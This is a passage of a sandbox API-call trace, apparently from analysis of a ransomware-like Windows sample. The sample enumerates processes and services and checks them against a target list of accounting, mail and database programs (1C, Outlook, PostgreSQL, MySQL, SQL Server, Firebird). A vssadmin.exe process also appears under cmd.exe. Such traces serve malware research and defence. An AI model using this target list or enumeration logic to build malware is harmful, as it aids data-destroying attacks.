	[0250.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0250.266] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0250.266] lstrlenW (lpString="csrss.exe") returned 9
	[0250.266] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0250.266] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0250.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0250.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0250.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0250.266] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0250.267] lstrlenW (lpString="winlogon.exe") returned 12
	[0250.267] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0250.267] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0250.267] lstrlenW (lpString="services.exe") returned 12
	[0250.267] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0250.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0250.267] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0250.268] lstrlenW (lpString="lsass.exe") returned 9
	[0250.268] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0250.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0250.268] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0250.268] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0250.268] lstrlenW (lpString="lsm.exe") returned 7
	[0250.268] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0250.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0250.268] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0250.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0250.268] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.269] lstrlenW (lpString="svchost.exe") returned 11
	[0250.269] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0250.269] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0250.269] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0250.269] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0250.270] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.270] lstrlenW (lpString="svchost.exe") returned 11
	[0250.270] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0250.270] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.270] lstrlenW (lpString="svchost.exe") returned 11
	[0250.270] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0250.270] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0250.271] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.271] lstrlenW (lpString="svchost.exe") returned 11
	[0250.271] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0250.271] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.271] lstrlenW (lpString="svchost.exe") returned 11
	[0250.271] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0250.271] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0250.272] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0250.272] lstrlenW (lpString="audiodg.exe") returned 11
	[0250.272] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0250.272] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0250.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0250.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0250.272] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0250.272] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.272] lstrlenW (lpString="svchost.exe") returned 11
	[0250.272] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0250.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0250.273] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0250.273] lstrlenW (lpString="userinit.exe") returned 12
	[0250.273] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0250.273] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0250.273] lstrlenW (lpString="explorer.exe") returned 12
	[0250.273] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0250.273] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0250.273] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0250.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0250.274] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0250.274] lstrlenW (lpString="dwm.exe") returned 7
	[0250.274] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.274] lstrlenW (lpString="svchost.exe") returned 11
	[0250.274] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0250.275] lstrlenW (lpString="swpesp.exe") returned 10
	[0250.275] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0250.275] lstrlenW (lpString="spoolsv.exe") returned 11
	[0250.275] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0250.275] lstrlenW (lpString="dllhost.exe") returned 11
	[0250.275] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0250.275] lstrlenW (lpString="taskhost.exe") returned 12
	[0250.275] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.276] lstrlenW (lpString="svchost.exe") returned 11
	[0250.276] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0250.276] lstrlenW (lpString="reader_sl.exe") returned 13
	[0250.276] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0250.276] lstrlenW (lpString="cmd.exe") returned 7
	[0250.276] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.276] lstrlenW (lpString="conhost.exe") returned 11
	[0250.277] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0250.277] lstrlenW (lpString="vssadmin.exe") returned 12
	[0250.277] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0250.277] CloseHandle (hObject=0x22c) returned 1
	[0250.277] Sleep (dwMilliseconds=0x1f4) 
	[0250.878] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42808d8
	[0250.990] EnumServicesStatusExW (in: hSCManager=0x42808d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0250.999] GetLastError () returned 0xea
	[0250.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x41f5d68
	[0251.000] EnumServicesStatusExW (in: hSCManager=0x42808d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0251.009] CloseServiceHandle (hSCObject=0x42808d8) returned 1
	[0251.010] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0251.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0251.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0251.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0251.010] lstrlenW (lpString="AudioSrv") returned 8
	[0251.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0251.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0251.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0251.010] lstrlenW (lpString="BFE") returned 3
	[0251.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0251.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0251.010] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0251.010] lstrlenW (lpString="CscService") returned 10
	[0251.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0251.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0251.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0251.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0251.010] lstrlenW (lpString="DcomLaunch") returned 10
	[0251.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0251.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0251.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0251.011] lstrlenW (lpString="Dhcp") returned 4
	[0251.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0251.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0251.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0251.011] lstrlenW (lpString="Dnscache") returned 8
	[0251.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0251.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0251.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0251.011] lstrlenW (lpString="eventlog") returned 8
	[0251.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0251.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0251.011] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0251.011] lstrlenW (lpString="EventSystem") returned 11
	[0251.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0251.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0251.011] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0251.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0251.011] lstrlenW (lpString="gpsvc") returned 5
	[0251.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0251.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0251.011] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0251.011] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0251.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0251.012] lstrlenW (lpString="lmhosts") returned 7
	[0251.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0251.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0251.012] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0251.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0251.012] lstrlenW (lpString="MMCSS") returned 5
	[0251.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0251.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0251.012] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0251.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0251.012] lstrlenW (lpString="nsi") returned 3
	[0251.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0251.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0251.012] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0251.012] lstrlenW (lpString="PlugPlay") returned 8
	[0251.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0251.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0251.012] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0251.012] lstrlenW (lpString="Power") returned 5
	[0251.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0251.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0251.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0251.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0251.012] lstrlenW (lpString="ProfSvc") returned 7
	[0251.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0251.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0251.013] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0251.013] lstrlenW (lpString="RpcEptMapper") returned 12
	[0251.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
